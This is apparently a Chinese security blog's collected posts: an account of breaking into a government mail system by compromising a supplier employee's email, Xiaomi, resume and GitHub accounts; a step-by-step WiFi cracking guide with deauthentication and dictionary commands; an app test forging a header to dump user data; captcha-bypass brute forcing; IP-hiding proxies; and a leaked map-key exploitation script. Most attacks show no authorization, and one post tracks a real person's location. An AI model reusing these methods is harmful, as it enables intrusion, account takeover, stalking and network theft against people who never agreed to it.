目标：XXX.gov.cn 某个政务级目标

系统：自建的邮件服务系统

‍

系统有滑块验证，因此从web爆破邮箱的作用不大，同时，服务端也没有真实IP可以走协议爆破。

‍

然后对该系统进行了信息收集，同时利用天眼查查询到目标所属资产的供应商为XXXX公司。该公司承包了该市级单位绝大部分的第三方系统开发，属于是很有价值的供应商，随即改变想法准备去从供应商下手。

‍

0x2 供应商信息收集

XX科技

网址：testteam.com

法人邮箱：188888888_@_qq.com

法人手机号：18888888888

‍

下属公司

XXX()科技

网址：1.testteam.com

法人邮箱：13333333_@_qq.com

法人手机号：13333333333

‍

能从公开渠道查到的信息就只有这些，把收集到来的信息资产做了个查询，发现没啥可以利用的点，决定还是从网站入手。

扫描域名，只获得了一个IP，查询历史解析也没有多余的的IP，对这个IP进行全端口扫描，对外开放IP只有3389和443、80这种端口，而且是云服务器，子域名也没有多余的资产。

‍

不过发现网站目录中提供了一个OA登录的接口

‍

利用弱口令登录尝试，输入账号后返回空白，但实际上是登录成功了的。

‍

不过登录流程逻辑可能有点问题，需要手动改请求和访问路径才可以到后台。

‍

到了供应商后台也没有发现什么信息，资产又少，所以决定从员工下手。

众所周知，github的开发者常常喜欢放一些项目资料上去，一些脚本中的泄露账号密码此类的，于是我在GitHub上收集了到了疑似该公司的人。

‍

他的项目仓库里面存有该公司的手册，同时我在另外一个项目找到了他的一个书签和口令密码，决定深挖此员工。

0x3 员工信息收集

从他的项目代码来看，不少都是本地的localhostIP,不过有个别的书签地址引起了我的注意，其中一个是小米官网。

根据现有的资产，该员工分别使用三个邮箱，分别为新浪和QQ，猜中他主要使用哪个邮箱也很容易，比如，查查小米的绑定。

‍

利用找回密码功能获得小米的绑定邮箱，同时也获取到了该员工常用的邮箱。

‍

利用之前获取到的口令使用网易邮箱大师登录网易邮箱，简略看了一下往来邮件，没啥太大的价值，为了避免后面打草惊蛇，给邮箱设置转发控下该邮箱。

‍

随即使用该邮箱登录小米账号。

‍

从个人收货地址获得了真实姓名和物理地址，确定了是属于该公司的物理地址，随即使用小米云服务定位到个人。

‍

接着利用邮件中的地址，登录51job查看该员工简历。

‍

也从该员工的历史信息中确定曾经在在目标公司的员工。

同时，从QQ邮箱中获取到了一些平台的账号。

‍

从这些平台中登录了几个平台，不过都与目标无关系。

‍

这个时候我已经在思考一个问题了，就是我拿了这么多信息，但是目标公司的OA，或者是内部交流使用什么渠道还不得知，无法从个人打到内部上去，内部肯定有一个通讯的地方，但是到目前为止，除了刚开始看到的技能手册，还没有看到该公司的任何信息，单纯的收集一些这种信息没啥用。

‍

0x4 协同软件信息收集

1.腾讯文档

2.金山办公

3.钉钉

4.语雀

5.企业微信

6.微云

7.飞书

‍

第二天，我依然坚持不懈的去找供应商的信息。

我在想既然官网没有业务或者OA，那么他们用什么平台去交流或者通讯呢？

这里我尝试了语雀/飞书/有道云笔记/钉钉/印象笔记/WPS此类的软件，经过几次尝试后，大部分账号我都可以用获取到的口令登录，钉钉和企业微信我都可以登录，但是都需要手机号验证，也许用的是两个中的一种，没得搞。

语雀和腾讯文档都没写啥东西，没得搞。

微云除了个人资料之外，没有任何公司的信息，也没啥用。

‍

那么只剩下WPS了。

这个时候比较有意思的来了，金山文档多多少少肯定有在使用的，我用他的账号去重置为他的常用密码即可，因为他的密码规律都差不多，我赌他自己发现密码错了拿常用密码试进去了不会多想。

但是呢，这个WPS的修改密码一直没有发到我的转发邮箱里面来，然后使用了github绑定的QQ+常用密码试进去了一个。

‍

登录进去之后，yes！终于有目标资产的信息了，是一份公司的员工通讯录名单。

‍

其实搞到这里就没准备搞了，因为确定不了目标使用的通讯平台，目标资产又较少，从员工打下去也不好说，接着从员工突破下去极有可能是徒劳的耗费时间。

想想从员工搞过来这条路，运气蛮好的，凡是邮箱设置了一个二次登录验证或者他密码规则改强一点，都拿不到这份通讯录，这个员工基本上啥信息都拿到了，我感觉可能使用的是钉钉，但是钉钉需要刷人脸登录。

‍

0x5 拿到目标

搞到这里我就开始反思，这条路似乎是拿不下来目标了，一没拿到源码，二是没有拿到系统的密码，供应商也没有较大的突破。

看他使用github的比较多，我决定修改他的GitHub密码去翻仓库代码。

使用刚开始控制的新浪邮箱修改了他密码为他的常用口令，登录成功。

‍

在查看他的所有仓库代码的时候，意外的找到了目标系统的一个口令，密码是一个常见的密码，账号比较长，属于是运气极佳了。

‍

使用该账号登录成功，并且还是管理员属性。

‍

最终拿到后台权限。

‍

0x6 总结

没啥技术的一次渗透，运气是第一要素，环环相扣，干就完了。

‍

我偷他的网

Sun, 06 Apr 2025 00:00:00 GMT

本文章仅作为技术学习交流，请不要随意拿邻居开刀。

提前准备

你需要如下材料

一个支持监听的无线网卡设备
一个强大的WiFi字典
一个有WiFi的地方

最近流量不够用了，想着偷个网试试，看了一下周边的WiFi布局。。

还是有一些WIFI设备的，然后开始尝试能不能搞一个来。

技术原理

WiFi认证

大家都知道WiFi大略是有四种支持格式的，

1、不启用安全

2、WEP

3、WPA/WPA2-PSK

4、WPA/WPA2 802.1X （radius认证）

一般我们设置的都是第三种。

WPA-PSK的认证过程

1、无线AP定期发送beacon数据包，使无线终端更新自己的无线网络列表。

2、无线终端在每个信道（1-13）广播ProbeRequest（非隐藏类型的WiFi含ESSID，隐藏类型的WiFi不含ESSID）

3、每个信道的AP回应，ProbeResponse，包含ESSID，及RSN信息

4、无线终端给目标AP发送AUTH包。AUTH认证类型有两种，0为开放式、1为共享式（WPA/WPA2必须是开放式）

5、AP回应网卡AUTH包

6、无线终端给AP发送关联请求包associationrequest数据包 7、AP给无线终端发送关联响应包associationresponse数据包

8、EAPOL四次握手进行认证（握手包是破解的关键）

9、完成认证可以上网。

WPA-PSK认证四次握手认证的过程

WPA-PSK破解原理

用我们字典中的PSK+ssid先生成PMK（此步最耗时，是目前破解的瓶颈所在），然后结合握手包中的客户端MAC，AP的BSSID，A-NONCE，S-NONCE计算PTK，再加上原始的报文数据算出MIC并与AP发送的MIC比较，如果一致，那么该PSK就是密钥。

如图所示：

所以还是爆破握手包的方式来获得密码，由于是通过暴力破解方式破解Wifi密码，所以你需要下载一些强大的字典，字典可以直接在Github上搜索，或者直接google。

开偷

启动网卡

我这里使用的是Kali，插入无线网卡的时候请选择和虚拟机相连。

ifconfig-a /此命令查看所有网络设备器

如果你的连接没有出错，此时应该会有一张名为wlan0的网卡设备。

接着使用命令,激活这张网卡，如果不回显则开启成功。

ifconfig wlan0 up

激活网卡为监听（monitor）模式

‍

airmon-ng start wlan0

同时，你的无线网卡应该会有指示灯之类的亮起（看型号，是否启用成功还是看上图结果）

得到监控模式下的设备名是wlan0mon，请记住这个名字，后续有用。

探测周围无线网络

‍

我现在连接的是我自己的手机热点，插入无线网卡后开始嗅探周围的WIFI设备。

‍

airodump-ng wlan0mon

查看周边路由AP的信息。

个人经验一般信号强度大于-70的可以进行破解，大于-60就最好了，小于-70的不稳定，信号比较弱。（信号强度的绝对值越小表示信号越强）

这里我们将会对游走老火锅这个WiFi进行攻击，所以我们需要记录下对应的 BSSID 以及 CH ，这两个值分别是WiFi唯一标识和信道。建议选择 PWR 较小的WiFi，因为这意味着信号较好。

如果要弄懂这些参数都是什么，我贴两张网上的图：

‍

选择要破解的WiFi，有针对性的进行抓握手包

‍

airodump-ng wlan0mon -c 7 --bssid 14:75:90:9E:29:8E

其中的 -c 参数代表了信道号， --bssid 代表此WiFi的唯一标识。

执行后等待一会，输出结果如下:

fundamental     CH 7 ][ Elapsed: 6 s ][ 2021-04-07 23:41
      BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
      14:75:90:9E:29:8E  -37   1       89     4294  299  11  270   WPA2 CCMP   PSK  203
      BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes
      14:75:90:9E:29:8E  48:7D:2E:B3:04:DF  -29    0 - 1e     0        7
      14:75:90:9E:29:8E  E0:DC:FF:DC:5A:89  -40    0 - 0e   817     4259
      14:75:90:9E:29:8E  80:ED:2C:10:0D:8A  -63    0 -24      0        2
      14:75:90:9E:29:8E  FA:83:C4:C0:8F:DF  -60    0e-24     88       88

从这个输出结果我们可以分析到的数据：

当前连接此WiFi的设备有4台，以及每台设备的唯一标识，发包数等。下面的四行也就代表了四台设备，我们需要记录 Lost 有变化的设备标识，这里我们选择标识为 E0:DC:FF:DC:5A:89 的设备。

好的，目前我们掌握了几条有用的信息，如下:

WiFi唯一标识14:75:90:9E:29:8E

连接WiFi的设备之一的标识E0:DC:FF:DC:5A:89

WiFi的信道11

监听握手包

下面我们需要根据以上信息进行抓包，尝试拿到包含密钥的握手包。

airodump-ng wlan0mon --bssid 14:75:90:9E:29:8E -c 11 -w 203

参数说明：-w 保存数据包的文件名 –c 信道 –bssid ap的mac地址 (注意test.cap会被重命名)，也可以用其他工具抓包比如：wireshark、tcpdump，抓到握手包会有提示。

airodump-ng --ivs --bssid E6:9A:DC:79:7:EC -w longas -c 1 wlan0mon**

PS：我建议使用这条作为监听，–ivs 这里的设置是通过过滤，不再将所有的无线数据保存，而只是保存可用于破解的IVS数据报文，这样可以有效地缩减保存的数据包大小。如果按照第一个语句去监听，不过滤请求的话会有很多额外的请求，后续的图我将以这条语句作为演示。

‍

监听的时候如果有设备登录成功就会抓到握手包，那么此时客户端不一定有会有登录的包发送给服务端，怎么样去抓到这个带有认证请求的包呢，很简单，强行使客户端断开即可。

‍

执行断网攻击获得握手包

下面我们需要利用 Aireplay-ng 进行断网攻击，当用户重连WiFi时 Airodump-ng 应该就能拿到密钥的数据包了。

aireplay-ng wlan0mon -0 10 -a 14:75:90:9E:29:8E -c E0:DC:FF:DC:5A:89

这里的 -0 代表攻击次数，后面的10也就是攻击次数、 -a 代表要攻击的WiFi、 -c 代表要攻击的已连接WiFi的设备。

此命令的输出结果如下:

fundamental     23:55:26  Waiting for beacon frame (BSSID: 14:75:90:9E:29:8E) on channel 11
     23:55:28  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [27| 1 ACKs]
     23:55:29  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 3| 1 ACKs]
     23:55:30  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 2| 6 ACKs]
     23:55:32  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 8| 7 ACKs]
     23:55:34  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7| 7 ACKs]
     23:55:36  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 7|14 ACKs]
     23:55:39  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [34| 3 ACKs]
     23:55:41  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [22| 6 ACKs]
     23:55:43  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [ 5| 5 ACKs]
     23:55:45  Sending 64 directed DeAuth (code 7). STMAC: [E0:DC:FF:DC:5A:89] [10| 6 ACKs]

如果这种方式多次失败，可以尝试去掉 -c 参数，进行范围打击，对每个设备都进行攻击，这样拿到加密包的机率也会有提升。

当 airodump-ng 那边提示拿到 WPA handshake 即代表拿到加密握手包，也就不需要断网攻击了。

我实践中使用是把整个客户端打掉线让他们重连的。

当这边的shell提示WPA handshake就说明获取到握手包了，可以停止了。

CH 11 ][ Elapsed: 6 mins ][ 2021-04-08 00:05 ][ WPA handshake: 14:75:90:9E:29:8E

‍

字典破解

下面我们通过准备的字典以及拿到的握手包进行暴力破解。

执行如下命令进行破解

aircrack-ng -w common.txt 203.ivs

-w 是我们的字典， 203-01.cap 是我们拿到的密钥握手包。

我这个运气不错，密码相对简单。

‍

KEY FOUND! [ 99998888 ]即是密码。

‍

最后

请善待你的邻居，不要随意拿邻居开刀。

‍

APP安全测试：从客户端信息泄露到越权

Fri, 07 Feb 2025 00:00:00 GMT

APP安全测试：从客户端信息泄露到越权

前言

最近在对某 APP 进行安全测试时，发现一个比较有意思的APP。从最开始的网络层暴力破解失败，到转向客户端逆向分析，最终发现隐藏在代码深处的逻辑后门，并成功利用报错信息泄露实现了未授权访问。

这篇文章记录了整个渗透测试的思路演变，轻喷。

免责声明：本文仅用于技术交流与安全教育。文中涉及的漏洞已提交给相关厂商修复，敏感信息均已脱敏处理。请勿利用文中技术进行非法攻击。

第一阶段：碰壁——失效的暴力破解

起初，我试图对 APP 的登录接口进行传统的暴力破解测试。

目标接口：POST /api/password

经过观察 Burp Suite 的流量，我发现请求头中包含几个动态字段：

timestamp: 毫秒级时间戳
sign: 一个 32 位的哈希值

‍

再此登录请求的接口之前，还需要访问一个token接口生成对应的accesstoken参数。

逻辑等于是首先访问token接口，返回accesstoken参数，然后进入下一步登录的接口，携带accesstoken参数和singn参数作为登录请求的Header。

测试了一下应该是只有头部签名校验：签名只校验 Header 中的字段（如 appId, timestamp, nonce）。Body 的内容不参与签名计算。

在这种设计下，只要时间戳在有效期内，你可以随意修改 Body 里的密码，签名依然合法。

如果服务器采用的是这种策略，那么防重放机制其实是只校验了时间戳，但防篡改机制只保护了 Header，没有保护 Body。这属于 API 设计上的缺陷，正确的做法应该是连带body一起保护。

第二阶段：突破——APK 逆向与算法还原

刚好这个APP没加壳，通过反编译 APK（使用 JADX），我开始寻找签名的生成逻辑。

1. 定位核心配置

‍

那么如何搜索这些特征点呢，我个人的思路是如下：

1. 搜索 HTTP 请求头中的关键词 (最有效)

这是最快的方法。我举例如下，

刚开始我在Burp Suite 里看到了几个特殊的 Header，直接在反编译工具（如 JADX）中搜索这些字符串：

"sign" (搜字符串，注意带引号)
"timestamp"
"Id"
"access-token" 或 "accessToken"

搜索技巧： 如果搜 "sign" 结果太多（因为这是常用词），尝试搜 "sign": (带冒号) 或者 .addHeader("sign" 。

2. 搜索网络库拦截器 (Interceptor)

现代 Android App (90%以上) 使用 OkHttp 或 Retrofit 发送网络请求。开发者通常不会在每个页面单独写签名逻辑，而是写在一个全局拦截器里。

搜索以下关键词：

Interceptor (查看实现了这个接口的类)
addHeader
chain.proceed

典型代码长这样：

Java

public class SignInterceptor implements Interceptor {
    @Override
    public Response intercept(Chain chain) {
        Request original = chain.request();
        // ... 这里就是你要找的签名逻辑 ...
        String sign = MD5.encrypt(original.body() + timestamp + secret);
        
        Request newRequest = original.newBuilder()
                .addHeader("sign", sign) // 关键特征
                .build();
        return chain.proceed(newRequest);
    }
}

3. 搜索加密相关的关键词

如果以上都找不到，尝试搜索通用的加密类名或方法名：

MD5 (通常签名是 MD5 或 SHA256)
MessageDigest (Java 原生加密类)
Mac (HMAC 签名常用类)
SecretKey
sortedMap / TreeMap (签名通常需要对参数进行字母排序，搜索这个能找到排序逻辑)

4. 搜索 URL 路径

直接搜索你在抓包里看到的 URL 路径片段：

"/api/token"
"/dPassword"

找到定义这些 URL 的地方，通常顺藤摸瓜就能找到是谁在使用它们，以及使用前做了什么处理

通过搜索抓包中看到的 clientId 字符串，我迅速定位到了一个名为 Getsign 的配置文件。：

‍

public final String getSign(String timestamp, boolean z) {
    String str;
    // 1. 关键判断：z 代表是否有 Token (是否已登录)
    if (z) {
        // 情况 A：有 Token (用于业务接口)
        // 拼接规则：[密钥] + [Token] + [时间戳]
        str = "xxxxxxxxxxxxxx" 
              + UserManager.INSTANCE.getLoginModel().getAuth().getToken() 
              + timestamp;
    } else {
        // 情况 B：无 Token (用于获取 Token 的接口)
        // 拼接规则：[密钥] + [时间戳]
        str = "xxxxxxxxxxxxxx" 
              + timestamp;
    }
    
    // 2. 算法选择：MD5
    MessageDigest messageDigest = MessageDigest.getInstance("MD5");
    byte[] bytes = str.getBytes(Charsets.UTF_8);
    byte[] digest = messageDigest.digest(bytes);
    
    // 3. 格式化：转为 32位 Hex 字符串
    String format = String.format("%032x", Arrays.copyOf(new Object[]{new BigInteger(1, digest)}, 1));
    
    // 4. 大写转换：转为大写
    return format.toUpperCase(Locale.ROOT);
}

2. 还原签名算法

接着，通过搜索 .addHeader("sign" 关键字，我在 App.kt 中找到了签名的计算逻辑：

‍

// App.kt 伪代码
fun getSign(timestamp: String, hasToken: Boolean): String {
    val raw = if (hasToken) {
        FULL_KEY + token + timestamp
    } else {
        FULL_KEY + timestamp
    }
    return MD5(raw).toUpperCase()
}

算法逻辑明确了： Sign = MD5(SecretKey + [Token] + Timestamp)。

有了这个算法和密钥，我编写了一个 Python 脚本，能够实时生成合法的签名。

第三阶段：发现——代码中的逻辑后门

在审计 App.kt 的网络拦截器（Interceptor）代码时，一段奇怪的逻辑引起了我的注意：

// 拦截器逻辑
if (url.contains("/queryUser")) {
    //高危逻辑：如果是查询用户接口，强制将 userid 设为 system1
    request.addHeader("userid", "system1");
} else {
    request.addHeader("userid", currentUser.uid);
}

漏洞点分析：

这意味着有一个接口 /XXX/queryUser，它大概率是用来获取用户列表的。且服务器可能存在逻辑漏洞：只要 Header 里的 userid 是 system1 ，它就允许查看所有数据，而不校验 Token 是否真的是管理员的。

由于 API 签名（Sign）和时间戳（Timestamp）是动态的，我们需要先生成一个合法的token和sign，然后修改userid信息来测试system1发送请求。

第四阶段：利用——报错信息泄露与 Fuzzing

我利用 Python 脚本获得了新的sign信息，目标直指 /queryUsers 接口，并在 Header 中伪造了 userid: system1。

1. Fuzz1

我发送了一个空的 JSON Body {}。

服务器响应：

{
    "code": 500,
    "message": "请输入PageSize",
    "result": null
}

突破口！

服务器没有返回“403 Forbidden”或“权限不足”，说明伪装 system1 成功绕过了鉴权！
服务器报错信息泄露了必需参数名：PageSize。

2. Fuzz2

既然知道了 PageSize，肯定是代表某个页码，根据开发经验，分页参数通常是成对出现的。

在编程开发中（特别是 Java 后端），分页永远需要两个参数：

一页显示多少条 (刚刚服务器泄露了，叫 PageSize)
当前是第几页 (这个我们需要猜)

既然参数1叫 PageSize，那么参数2通常会遵循相同的命名风格。根据经验，常见的组合只有以下几种：

pageSize + page
pageSize + pageIndex (常见于 C# 或某些前端框架)
pageSize + current
pageSize + pageNum (常见于 Java 的 PageHelper 插件)

虽然报错信息显示的是 PageSize (大写开头，PascalCase)，但这个 App 是安卓应用，后端大概率是 Java (Spring Boot)。 Java 的标准变量命名规范是 小驼峰 (camelCase) ，即首字母小写。

我构建了一个 Fuzzing 列表来猜测另一个参数：

{"PageSize": 10, "Page": 1} -> 失败
{"pageSize": 10, "page": 1} -> 失败
{"pageSize": 10, "pageIndex": 1} -> 失败
{"pageSize": 10, "pageNum": 1} -> 成功 (200 OK)

服务器返回了："code": 0, "message": "接口调用成功"，并吐出了大量的用户列表数据。

第五阶段：危害扩大

通过这个漏洞，我编写了自动化脚本，利用 pageNum 遍历，成功拉取了全量的用户信息。

泄露数据包括：

真实的用户 ID (userId)
用户昵称
手机号 (部分脱敏)

后续危害链 (Kill Chain)：

精准撞库：拥有了 100% 准确的用户 ID 列表后，配合弱口令（如 123456）进行撞库，成功率极高。

‍

总结与防御建议

这次实战展示了一个典型的 API 漏洞组合拳：硬编码密钥 + 签名校验逻辑缺陷+APP后门。

给开发者的防御建议：

严禁硬编码密钥：
- 不要将 Client Secret 写死在客户端代码中，APK 反编译有成本，真遇到高手了也是秒了。
- 建议使用动态密钥交换或将签名逻辑放在服务端（如网关层）。
修复鉴权逻辑 (Broken Access Control) ：
- 永远不要相信客户端提交的 UserID。
- 后端必须从验证过的 AccessToken 中解析用户身份（Subject），以此作为权限判断的依据。Header 里的 userid 只能作为参考，不能作为凭证。
统一错误处理：
- 生产环境应屏蔽详细的错误堆栈和具体的参数提示，统一返回模糊的错误码，防止攻击者利用报错信息进行 Fuzzing。
API 签名不是万能药：
- 签名只能保证传输安全，不能保证业务逻辑安全。不要因为有了签名就忽略了越权检测。

‍

利用Cloudflare做二级代理

Fri, 06 Dec 2024 00:00:00 GMT

1

CF 良心的一批！

访问地址：https://1.1.1.1/

2

为什么有这个想法呢，因为

~~能白嫖不要给钱~~

有些站点对ip限制的比较死，云厂商的ip偶尔是白名单，封ip比较快，不想被封而已。

发现cf给的ip还是比较干净的，相当舒服了。

3

详细设置步骤：

clash：

我本地使用的clash，因为我需要接管我的全网卡流量，我这里以clash举例：

打开clash的tun模式，选择全局代理
打开clash的系统代理模式，为CF走代理作用
看一下clash监听端口是多少，我这里是7890

Cloudflare

启用Cloudflare的proxy代理模式
填入clash的端口

连接即可。

效果图如下：

注意事项

挂着二级代理不卡吗？

不卡，看油管2k没问题。

为什么不直接裸连cf

测试发现了一个有趣的问题，如果单挂cf的话，会直接显示你的真实物理位置。

我没有实际去研究为什么会造成这种情况，网上有参考例子：

https://blog.skk.moe/post/something-about-cf-warp/

5.10日更新：

为什么会造成真实物理位置泄漏的原因是 ipv6

使用cf提供的测试地址，你可以发现第三行的ip是你的真实IP。

此处的ipv4走的确实是美国的cf，但是开启warp之后会启用一个ipv6，这个ipv6不受保护的，就这么简单。

所以测试的时候发现开启了warp也能获取到真实的地址的情况下，多半是你的ipv6优先了。

修复方法也很简单，禁用ipv6即可。

另外的玩法

warp用来解锁线路，还有给vps解锁ip的玩法挺多的，具体请自行搜索，这里不过多解释了。

5

最佳的解决方案是给vps套warp，然后vps组成代理，利用clash的链式代理即可达到隐藏ip的目的。

Fortify SCA (Windows + VS Code 插件) 扫描 Python 代码指南

Thu, 31 Oct 2024 00:00:00 GMT

最近接到一个活，要对python代码进行代码扫描，之前只用过fortify扫描Java类的代码，搜索了一下支持python类代码扫描，和常规的方式不一样记录一下过程。

一、前期准备

Fortify Static Code Analyzer (SCA)：Windows 232.2 版本。
安装 VS Code
安装 Fortify VSC 插件：
- 打开 VS Code。
- 进入 Extensions 视图 (快捷键 Ctrl+Shift+X)。
- 搜索 "Fortify"，找到并安装 "Fortify VSC" 插件。

二、Fortify VSC 插件配置

在 VS Code 中，打开 Fortify 插件界面（通常在左侧活动栏找到 Fortify 图标）。打开显示如下。

第一个不用管，直接切换到Static Code Analyzer executable path视图。

2.1 配置 SCA 可执行文件路径

字段：Static Code Analyzer executable path
说明： 指定 sourceanalyzer.exe 的路径。
设置：
- 推荐： 如果您已将 Fortify SCA 的 bin 目录添加到系统环境变量 Path 中，则此处直接输入 sourceanalyzer 即可。

- **备用：** 如果上述方法不行，点击右侧的 `Browse...` 按钮，导航到Fortify SCA 安装目录，找到 `bin` 文件夹，然后选择 `sourceanalyzer.exe`。
    * **示例路径：** `C:\Program Files\Fortify\Fortify_SCA_and_Apps_<版本号>\bin\sourceanalyzer.exe`

配置基本上就配置好了，剩下的用vscode打开需要扫描的目录，再点击一下Fortify插件的按钮即可自动填充。

2.2 配置构建 ID

字段：Build ID
说明： 为本次扫描任务设置一个唯一的标识符。

2.3 配置扫描结果输出路径 (FPR)

字段：Scan results location (FPR)
说明： 指定扫描结果文件（.fpr 文件）的保存路径和文件名。Fortify Audit Workbench 将使用此文件。默认在代码库的根目录文件夹下保存此文件

2.4 配置日志路径

字段：Log location
说明： SCA 扫描的日志文件路径。
设置： 通常保持默认即可。可以点击右侧的 Open 按钮查看日志。

2.5 配置选项 (Python 特有)

字段：Add translation options
说明： 针对 Python 代码，您需要在此处指定 Python 版本和依赖库路径。
设置：
1. 勾选 Add translation options 复选框。
2. 在勾选后出现的文本框中，输入以下参数。请根据您的 Python 环境调整路径。
  - 首先，通过在命令行运行 python3 -c "import sys; print(sys.path)" 获取的 Python 模块搜索路径。我这里如下：

['', 'D:\\Scoop\\apps\\python311\\current\\python311.zip', 'D:\\Scoop\\apps\\python311\\current\\DLLs', 'D:\\Scoop\\apps\\python311\\current\\Lib', 'D:\\Scoop\\apps\\python311\\current', 'D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages', 'D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages\\win32', 'D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages\\win32\\lib', 'D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages\\Pythonwin']

    * 因此，应该在 Fortify 插件中输入：

-python-version 3 -python-path "D:\Scoop\apps\python311\current\DLLs;D:\Scoop\apps\python311\current\Lib;D:\Scoop\apps\python311\current\Lib\site-packages"

        + `-python-version 3`：指定您的 Python 版本为 3。
        + `-python-path "..."`：列出 Python 查找标准库和第三方库的路径，用分号 `;` 分隔。这些路径来自您 `sys.path` 的输出。

2.6 其他选项 (可选)

Add scan options：用于添加 SCA 扫描阶段的额外参数，一般保持默认即可。
Update security content：使用最新的漏洞检测规则。

三、执行扫描

完成上述所有配置后，点击 Fortify VSC 插件界面底部的 Scan** 按钮**。
扫描过程将在后台运行。可以在 VS Code 的 OUTPUT 面板或终端中查看扫描进度和详细日志。

五、查看扫描结果

扫描完成后，会在 Scan results location (FPR) 中指定的路径生成一个 .fpr 文件（例如：python_results.fpr）。
打开 Fortify Audit Workbench 客户端应用程序。
点击 "File" -> "Open Project"，然后选择生成的 .fpr 文件。
在 Audit Workbench 中，可以详细查看扫描到的安全漏洞、漏洞类型、严重程度、受影响的代码行、数据流分析以及修复建议。

鉴权验证码如何绕过

Sat, 26 Oct 2024 00:00:00 GMT

鉴权验证码如何绕过

0x01

在项目上遇到了一个登陆口，但是有验证码，同时使用了当前验证码的UUID进行鉴权，简单来说就是

如果需要爆破登录接口，需要识别验证码的同时携带上本次验证码的UUID同时爆破，接口才能返回信息。

样式如下：

0X02

UUID同时有时间校验

UUID正常的情况下：

‍

重发包的情况下：

‍

此处的UUID功能可以有：

时间戳
SIGN校验
验证码更新

‍

爆破的时候就有个很尴尬的问题，如果直接引入burp里面，他的UUID是不会更新的，代表每一次的请求SIGN都是无效的。

‍

0X03

解决方案：

captcha-keiller 自带了一个解决方案

其中regex就是用来提取token之类的参数的。

regex需要用正则提取，参考如下：

‍

在intrude模块里面设置一下，在intruder中增加校验的参数@captcha-killer-modified@

参考如下：

‍

爆破回显已经能够正确的运行：

‍

log日志显示如下：

‍

完美解决这个问题。

泄露地图AK一键检测利用

Sun, 10 Mar 2024 00:00:00 GMT

背景

在一次APK反编译的时候发现存在一个关于map的KEY，试了几个接口无法调用成功，具体不知道哪个对应的接口和服务，于是配合GPT写了这份代码，旨在实现自动化AK利用。

代码

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
import argparse
import requests
import random
import time
import certifi
import json
import traceback
import os
from termcolor import colored
from typing import List, Dict, Tuple, Optional, Any
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib3.exceptions import InsecureRequestWarning

# --- Banner ---
BANNER = """


                                                                                           
                            by: 地图API密钥全自动检测工具
"""

# --- Configuration ---

# Emojis for output enhancement
EMOJI_DETECT = "🔍"
EMOJI_PLATFORM = "🏷️"
EMOJI_KEY_FORMAT = "🔑"
EMOJI_SERVICE = "▶️"
EMOJI_SUCCESS = "✅"
EMOJI_FAIL = "❌"
EMOJI_CLOCK = "⏱️"
EMOJI_INFO = "ℹ️"
EMOJI_ERROR = "❗"
EMOJI_WARNING = "⚠️"
EMOJI_NETWORK = "🌐"
EMOJI_QUOTA = "🚦"
EMOJI_PERM = "🔒"
EMOJI_WRITE = "💾"
EMOJI_TOOL = "🛠️"


# Disable SSL warnings (use cautiously)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Safe coordinate bounds
SAFE_BOUNDS = {
    'global': {'lon_min': -180, 'lon_max': 180, 'lat_min': -90, 'lat_max': 90},
    'china': {'lon_min': 73.66, 'lon_max': 135.05, 'lat_min': 3.86, 'lat_max': 53.55}
}

# Test address pool
TEST_ADDRESS_POOL = [
    "北京市朝阳区望京soho",
    "上海市浦东新区陆家嘴环路1288号",
    "广州市天河区珠江新城临江大道5号",
    "深圳市福田区深南大道6001号",
    "成都市锦江区红星路三段1号"
]

# --- Helper Classes ---

class GeoGenerator:
    """Generates random geographic data."""
    @staticmethod
    def random_coord(region='china'):
        bounds = SAFE_BOUNDS[region]
        return (
            round(random.uniform(bounds['lat_min'], bounds['lat_max']), 6),
            round(random.uniform(bounds['lon_min'], bounds['lon_max']), 6)
        )

    @staticmethod
    def random_ip():
        # Generate a public IP range more likely to be locatable
        while True:
            ip = f"{random.randint(1, 223)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}"
            parts = [int(p) for p in ip.split('.')]
            if parts[0] == 10: continue
            if parts[0] == 127: continue
            if parts[0] == 172 and 16 <= parts[1] <= 31: continue
            if parts[0] == 192 and parts[1] == 168: continue
            if parts[0] >= 224: continue
            return ip


class KeyValidator:
    """Validates key format and detects platform."""
    @staticmethod
    def detect_platform(key: str) -> Tuple[str, str]:
        """Detects platform and provides format description."""
        if re.match(r'^[0-9a-fA-F]{32}$', key):
            return 'amap', '高德 (32位 Hex)'
        if re.match(r'^[A-Za-z0-9]{32}$', key):
            if re.match(r'^[0-9a-fA-F]{32}$', key):
                 return 'ambiguous', '可能是高德或百度 (纯Hex字符)'
            return 'baidu', '百度 (32位 Alnum)'
        return 'unknown', '未知格式'


class APITester:
    """Executes API test calls."""
    def __init__(self):
        self.user_agents = [
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15',
            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0'
        ]

    def _generate_service_configs(self, platform: str) -> Dict:
         """Generates service configs dynamically for fresh random data."""
         coord = GeoGenerator.random_coord()
         random_addr = random.choice(TEST_ADDRESS_POOL)
